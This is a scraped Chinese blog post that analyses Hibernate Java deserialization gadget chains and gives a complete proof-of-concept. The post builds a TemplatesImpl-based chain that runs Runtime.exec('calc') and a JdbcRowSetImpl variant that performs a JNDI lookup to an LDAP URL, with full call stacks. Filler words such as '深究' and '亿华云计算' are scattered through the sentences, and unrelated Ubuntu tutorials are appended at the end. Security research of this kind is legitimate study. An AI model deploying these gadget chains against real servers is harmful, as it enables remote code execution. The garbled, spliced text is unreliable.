深究Java Hibernate框架下的Deserialization

写在前面

Hibernate是深究一个开源免费的、基于 ORM 技术的架下 Java 持久化框架。通俗地说,深究Hibernate 是架下一个用来连接和操作数据库的 Java 框架,它最大的深究优点是使用了 ORM 技术。

Hibernate 支持几乎所有主流的架下关系型数据库,只要在配置文件中设置好当前正在使用的深究数据库,程序员就不需要操心不同数据库之间的架下差异。

分析

对于Hibernate框架的深究反序列化链主要是通过调用了任意的getter方法,结合TemplatesImpl这条链子进行利用链的架下构造。

BasicPropertyAccessor

在该框架中存在有org.hibernate.property.PropertyAccessor这个接口

我们从这个注释可以知道,深究定义了一个类的架下属性值的相关策略

在接口中的定义了两个方法,分别为getGettergetSetter方法

该接口的深究实现类是BasicPropertyAccessor

定义了两个实现类BasicGetter/ BasicSetter

主要来看看BasicGetter类

首先,在其构造方法中传入了三个参数,架下分别是源码下载深究目标类,目标方法,目标属性。

同时关注get方法的实现,将会触发目标的method方法,这里就是漏洞点。

那么这个Getter又是从何而来的呢?

我们可以关注到BasciPropertyAccessor​类对getSetter方法的重写

在getSetter方法中将会调用createGetter​方法,进而调用了getGetterOrNull方法。

在该方法中,将会通过getterMethod​方法得到对应属性的getter方法名,如果存在的话,将会将其封装为BasicGetter对象进行返回。

那我们跟进一下getterMethod方法

首先在该方法中将会调用theClass.getDeclaredMethods​方法得到目标类的所有存在的方法,之后遍历这些方法,如果该方法参数个数不为零就跳过,获取方法返回Bridge也会跳过,之后在获取该方法名之后,判断是否是get开头,如果是,将会进行比对处理之后返回这个方法。亿华云计算

就这样得到了对应的Getter方法,而想要调用,还需要使用他的get方法。

那么又是在哪里调用了其get方法的呢?

AbstractComponentTuplizer

答案就这个类中

类中存在一个getPropertyValue方法

将会遍历调用getters属性中的get方法

我们看看getters属性是个啥

他是一个Getter对象数组,正好了,上面返回了一个Getter方法,可以反射写入这个数组中,在getPropertyValue方法中调用其get方法,达到利用链的触发。

但是值得注意的是AbstractComponentTuplizer是一个抽象类,我们寻找一下他的子类。

存在有两个子类,DynamicMapComponentTuplizer​类和PojoComponentTuplizer类一个是处理映射为Map对象,一个映射为JAVA实体。

我们可以发现在PojoComponentTuplizer​类中存在有getPropertyValues方法。

且能够调用父类的getPropertyValues方法,

那么这个类方法又是在何处存在调用。服务器托管

TypedValue

通过Uage的搜索,发现在org.hibernate.type.ComponentType#getPropertyValue存在有相关方法的调用。

这条链子的关键点还是在org.hibernate.engine.spi.TypedValue类中。

在其构造方法中传入了Type和Object对象的映射,在上面提到的ComponentType同样实现了Type接口。

在构造方法中除了赋值,还调用了initTransients方法。

创建了一个 ValueHolder 对象,并为其赋予了一个新的 DeferredInitializer 对象并重写了initialize()方法。

之后将其赋予给hashCode属性,我们可以关注到反序列化入口点,在hashCode​方法中调用了初始化赋值的hashCode属性的getValue方法。

即是调用了ValueHolder#getValue方法,

在这里将会调用之前初始化时重写的initialize方法,

如果此时的type是ComponentType​就将会调用它的getHashCode方法,

最终调用了getPropertyValue方法形成了利用链。

利用构造

Hibernate1

同样的,首先创建一个TemplatesImpl对象

复制//

动态创建字节码

String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";ClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("Evil");ctClass.makeClassInitializer().insertBefore(cmd);ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));byte[] bytes = ctClass.toBytecode();TemplatesImpl templates = new TemplatesImpl();SerializeUtil.setFieldValue(templates, "_name", "RoboTerh");SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});1.2.3.4.5.6.7.8.9.10.11.12.

之后获取对应的getter。

复制//

创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法

Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);constructor.setAccessible(true);getter = constructor.newInstance(templates.getClass(), method, "outputProperties");1.2.3.4.5.

之后我们需要触发getter的get方法,根据前面的分析,我们可以知道是通过调用org.hibernate.tuple.component.PojoComponentTuplizer类触发get的调用。

所以我们创建一个实例并反射写入数据。

复制Object tuplizer = SerializeUtil.createWithoutConstructor(pojoComponentTuplizerClass);//

反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里

Field field = abstractComponentTuplizerClass.getDeclaredField("getters");field.setAccessible(true);Object getters = Array.newInstance(getter.getClass(), 1);Array.set(getters, 0, getter);field.set(tuplizer, getters);1.2.3.4.5.6.7.

完整的POC。

复制package pers.hibernate;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import org.hibernate.engine.spi.TypedValue;import org.hibernate.type.Type;import pers.util.SerializeUtil;import java.io.ByteArrayOutputStream;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.HashMap;public class Hibernate1 { public static void main(String[] args) throws Exception { Class<?> componentTypeClass = Class.forName("org.hibernate.type.ComponentType"); Class<?> pojoComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer"); Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer"); //

动态创建字节码

String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); ctClass.makeClassInitializer().insertBefore(cmd); ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] bytes = ctClass.toBytecode(); TemplatesImpl templates = new TemplatesImpl(); SerializeUtil.setFieldValue(templates, "_name", "RoboTerh"); SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); Method method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties"); Object getter; try { //

创建 GetterMethodImpl 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法

Class<?> getterImpl = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl"); Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0]; constructor.setAccessible(true); getter = constructor.newInstance(null, null, method); } catch (Exception ignored) { //

创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法

Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter"); Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class); constructor.setAccessible(true); getter = constructor.newInstance(templates.getClass(), method, "outputProperties"); } //

创建 PojoComponentTuplizer 实例,用来触发 Getter 方法

Object tuplizer = SerializeUtil.createWithoutConstructor(pojoComponentTuplizerClass); //

反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里

Field field = abstractComponentTuplizerClass.getDeclaredField("getters"); field.setAccessible(true); Object getters = Array.newInstance(getter.getClass(), 1); Array.set(getters, 0, getter); field.set(tuplizer, getters); //

创建 ComponentType 实例,用来触发 PojoComponentTuplizer 的 getPropertyValues 方法

Object type = SerializeUtil.createWithoutConstructor(componentTypeClass); //

反射将相关值写入,满足 ComponentType 的 getHashCode 调用所需条件

Field field1 = componentTypeClass.getDeclaredField("componentTuplizer"); field1.setAccessible(true); field1.set(type, tuplizer); Field field2 = componentTypeClass.getDeclaredField("propertySpan"); field2.setAccessible(true); field2.set(type, 1); Field field3 = componentTypeClass.getDeclaredField("propertyTypes"); field3.setAccessible(true); field3.set(type, new Type[]{(Type) type}); //

创建 TypedValue 实例,用来触发 ComponentType 的 getHashCode 方法

TypedValue typedValue = new TypedValue((Type) type, null); //

创建反序列化用 HashMap

HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(typedValue, "su18"); //

put 到 hashmap 之后再反射写入,防止 put 时触发

Field valueField = TypedValue.class.getDeclaredField("value"); valueField.setAccessible(true); valueField.set(typedValue, templates); ByteArrayOutputStream byteArrayOutputStream = SerializeUtil.writeObject(hashMap); SerializeUtil.readObject(byteArrayOutputStream); }}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41.42.43.44.45.46.47.48.49.50.51.52.53.54.55.56.57.58.59.60.61.62.63.64.65.66.67.68.69.70.71.72.73.74.75.76.77.78.79.80.81.82.83.84.85.86.87.88.89.90.91.92.93.94.95.96.97.98.

解释一下其中try catch句中是因为:

在不同版本中,由于部分类的更新交替,利用的 Gadget 细节则不同。ysoserial 中也根据不同情况给出了需要修改的利用链:

使用org.hibernate.property.access.spi.GetterMethodImpl​替代org.hibernate.property.BasicPropertyAccessor$BasicGetter。

使用org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping来对 PojoComponentTuplizer 进行封装。

调用栈 复制exec:347, Runtime (java.lang)<clinit>:-1,

Evil

newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)newInstance:62, NativeConstructorAccessorImpl (sun.reflect)newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)newInstance:423, Constructor (java.lang.reflect)newInstance:442, Class (java.lang)getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)get:169, BasicPropertyAccessor$BasicGetter (org.hibernate.property)getPropertyValue:76, AbstractComponentTuplizer (org.hibernate.tuple.component)getPropertyValue:414, ComponentType (org.hibernate.type)getHashCode:242, ComponentType (org.hibernate.type)initialize:98, TypedValue$1 (org.hibernate.engine.spi)initialize:95, TypedValue$1 (org.hibernate.engine.spi)getValue:72, ValueHolder (org.hibernate.internal.util)hashCode:73, TypedValue (org.hibernate.engine.spi)hash:339, HashMap (java.util)readObject:1413, HashMap (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeReadObject:1170, ObjectStreamClass (java.io)readSerialData:2178, ObjectInputStream (java.io)readOrdinaryObject:2069, ObjectInputStream (java.io)readObject0:1573, ObjectInputStream (java.io)readObject:431, ObjectInputStream (java.io)readObject:51, SerializeUtil (pers.util)main:102, Hibernate1 (pers.hibernate)1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35. Hibernate2

上一条链是通过触发TemplatesImpl类的getOutputProperties方法触发的。

这条链就是通过JdbcRowSetImpl这条链触发JNDI注入,细节在fastjson的利用链中就讲过了,可以找一下我的文章。

因为我们能够触发任意的getter方法,所以我们可以通过调用getDatabaseMetaData方法。

进而调用connect方法触发漏洞,

POC的构造也很简单,只需要将前面创建TemplatesImpl对象的部分改为创建JdbcRowSetImpl 类对象。

复制JdbcRowSetImpl rs = new JdbcRowSetImpl();rs.setDataSourceName("ldap://127.0.0.1:23457/Command8");Method method = JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData");1.2.3.

调用链 复制exec:347, Runtime (java.lang)<clinit>:-1,

ExecTemplateJDK8

forName0:-1, Class (java.lang)forName:348, Class (java.lang)loadClass:91, VersionHelper12 (com.sun.naming.internal)loadClass:106, VersionHelper12 (com.sun.naming.internal)getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)getObjectInstance:189, DirectoryManager (javax.naming.spi)c_lookup:1085, LdapCtx (com.sun.jndi.ldap)p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)lookup:94, ldapURLContext (com.sun.jndi.url.ldap)lookup:417, InitialContext (javax.naming)connect:624, JdbcRowSetImpl (com.sun.rowset)getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)get:169, BasicPropertyAccessor$BasicGetter (org.hibernate.property)getPropertyValue:76, AbstractComponentTuplizer (org.hibernate.tuple.component)getPropertyValue:414, ComponentType (org.hibernate.type)getHashCode:242, ComponentType (org.hibernate.type)initialize:98, TypedValue$1 (org.hibernate.engine.spi)initialize:95, TypedValue$1 (org.hibernate.engine.spi)getValue:72, ValueHolder (org.hibernate.internal.util)hashCode:73, TypedValue (org.hibernate.engine.spi)hash:339, HashMap (java.util)readObject:1413, HashMap (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeReadObject:1170, ObjectStreamClass (java.io)readSerialData:2178, ObjectInputStream (java.io)readOrdinaryObject:2069, ObjectInputStream (java.io)readObject0:1573, ObjectInputStream (java.io)readObject:431, ObjectInputStream (java.io)readObject:51, SerializeUtil (pers.util)main:88, Hibernate2 (pers.hibernate)1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41. 总结

对于Hibernate的链子来说,还是要看具体的版本,再次修改POC,自我感觉版本之间的关键方法差异有点大。

Ref

https://su18.org/

IT科技类资讯
上一篇:假如你最近安装或是更新到Ubuntu Gnome 14.04 LTS,你将能享受到一个稳定和可靠的Gnome shell体验。但Ubuntu 14.04中使用的是Gnome 3.10而并非最新的Gnome 3.12,那该如何升级到Gnome 3.12呢?升级前需要先了解为什么默认的是Gnome 3.10Gnome 3.12于3月下旬发布,虽然早于Ubuntu 14.04发布却并未集成在Ubuntu Gnome 14.04中。这是因为Gnome 3.12的开发周期使得其没有足够的时间进行审查和测试来支持LTS版本,默认的Gnome 3.10则能保证其稳定性。这就是不推荐升级至Gnome 3.12的原因。假如你已明了会遇到的风险还想升级至Gnome 3.12,你可以参看下面的方法。在升级之前请确保使用的是Ubuntu 14.04,同时安装了Gnome 3.10。假如你使用的是Unity等非Gnome桌面环境,还需要先安装Gnome 3.10。apt:gnome-shell(点击安装)然后确保系统已经更新,复制代码代码如下:复制代码代码如下:复制代码代码如下:sudo apt-get install ppa-purgesudo ppa-purge ppa:gnome3-team/gnome3-staging
下一篇:今天,我们将向你展示如何在你的 Ubuntu 个人电脑或 Ubuntu 服务器中,直接通过 Ubuntu 官方软件仓库来配置本地软件仓库。在你的电脑中创建一个本地软件仓库有着许多的好处。假如你有许多电脑需要安装软件 、安全升级和修复补丁,那么配置一个本地软件仓库是一个做这些事情的高效方法。因为,所有需要安装的软件包都可以通过快速的局域网连接从你的本地服务器中下载,这样可以节省你的网络带宽,降低互联网接入的年度开支 ...你可以使用多种工具在你的本地个人电脑或服务器中配置一个 Ubuntu 的本地软件仓库,但在本教程中,我们将为你介绍 APT-Mirror。这里,我们将把默认的镜像包镜像到我们本地的服务器或个人电脑中,并且在你的本地或外置硬盘中,我们至少需要 120 GB 或更多的可用空间才行。 我们可以通过配置一个 HTTP 或 FTP 服务器来与本地系统客户端共享这个软件仓库。我们需要安装 Apache 网络服务器和 APT-Mirror 来使得我们的工作得以开始。下面是配置一个可工作的本地软件仓库的步骤:1. 安装需要的软件包我们需要从 Ubuntu 的公共软件包仓库中取得所有的软件包,然后在我们本地的 Ubuntu 服务器硬盘中保存它们。首先我们安装一个Web 服务器来承载我们的本地软件仓库。这里我们将安装 Apache Web 服务器,但你可以安装任何你中意的 Web 服务器。对于 http 协议,Web 服务器是必须的。假如你需要配置 ftp 协议 及 rsync 协议,你还可以再分别额外安装 FTP 服务器,如 proftpd, vsftpd 等等 和 Rsync 。复制代码代码如下:$ sudo apt-get install apache2然后我们需要安装 apt-mirror:复制代码代码如下:$ sudo apt-get install apt-mirror 注: 正如我先前提到的,我们需要至少 120 GB 的可用空间来使得所有的软件包被镜像或下载。2. 配置 APT-Mirror现在,在你的硬盘上创建一个目录来保存所有的软件包。例如,我们创建一个名为 /linoxide的目录,我们将在这个目录中保存所有的软件包:复制代码代码如下:$ sudo mkdir /linoxide现在,打开文件 /etc/apt/mirror.list :复制代码代码如下:$ sudo nano /etc/apt/mirror.list复制下面的命令行配置到 mirror.list文件中并按照你的需求进行修改:复制代码代码如下: ############# config ################## # set base_path /linoxide # # set mirror_path $base_path/mirror # set skel_path $base_path/skel # set var_path $base_path/var # set cleanscript $var_path/clean.sh # set defaultarch # set postmirror_script $var_path/postmirror.sh # set run_postmirror 0 set nthreads 20 set _tilde 0 # ############# end config ############## deb http://archive.ubuntu.com/ubuntu trusty main restricted universe multiverse deb http://archive.ubuntu.com/ubuntu trusty-security main restricted universe multiverse deb http://archive.ubuntu.com/ubuntu trusty-updates main restricted universe multiverse #deb http://archive.ubuntu.com/ubuntu trusty-proposed main restricted universe multiverse #deb http://archive.ubuntu.com/ubuntu trusty-backports main restricted universe multiverse deb-src http://archive.ubuntu.com/ubuntu trusty main restricted universe multiverse deb-src http://archive.ubuntu.com/ubuntu trusty-security main restricted universe multiverse deb-src http://archive.ubuntu.com/ubuntu trusty-updates main restricted universe multiverse #deb-src http://archive.ubuntu.com/ubuntu trusty-proposed main restricted universe multiverse #deb-src http://archive.ubuntu.com/ubuntu trusty-backports main restricted universe multiverse clean http://archive.ubuntu.com/ubuntu 注: 你可以将上面的官方镜像服务器网址更改为离你最近的服务器的网址,可以通过访问 Ubuntu Mirror Server来找到这些服务器地址。假如你并不太在意镜像完成的时间,你可以沿用默认的官方镜像服务器网址。这里,我们将要镜像最新和最大的 Ubuntu LTS 发行版 --- 即 Ubuntu 14.04 LTS (Trusty Tahr) --- 的软件包仓库,所以在上面的配置中发行版本号为 trusty 。假如我们需要镜像 Saucy 或其他的 Ubuntu 发行版本,请修改上面的 trusy 为相应的代号。现在,我们必须运行 apt-mirror 来下载或镜像官方仓库中的所有软件包。复制代码代码如下:sudo apt-mirror从 Ubuntu 服务器中下载所有的软件包所花费的时间取决于你和镜像服务器之间的网络连接速率和性能。这里我中断了下载,因为我已经下载好了 ...3.配置网络服务器为了使得其他的电脑能够访问这个软件仓库,你需要一个Web服务器。你也可以通过 ftp 来完成这件事,但我选择使用一个Web服务器因为在上面的步骤 1 中我提及到使用Web服务器。因此,我们现在要对 Apache 服务器进行配置:我们将为我们本地的软件仓库目录 建立一个到 Apache 托管目录 --- 即 /var/www/ubuntu --- 的符号链接。复制代码代码如下:$ sudo ln -s /linoxide /var/www/ubuntu $ sudo service apache2 start上面的命令将允许我们从本地主机(localhost) --- 即 http://127.0.0.1(默认情况下) --- 浏览我们的镜像软件仓库。4. 配置客户端最后,我们需要在其他的电脑中添加软件源,来使得它们可以从我们的电脑中取得软件包或软件仓库。为达到此目的,我们需要编辑 /etc/apt/sources.list 文件并添加下面的命令:复制代码代码如下: $ sudo nano /etc/apt/sources.list添加下面的一行到/etc/apt/sources.list中并保存。复制代码代码如下: deb http://192.168.0.100/ubuntu/ trusty main restricted universe注: 这里的 192.168.0.100 是我们的服务器电脑的局域网 IP 地址,你需要替换为你的服务器电脑的局域网 IP 地址复制代码代码如下:$ sudo apt-get update最终,我们完成了任务。现在,你可以使用sudo apt-get install packagename 命令来从你的本地 Ubuntu 软件仓库中安装所需的软件包,这将会是高速的且消耗很少的带宽。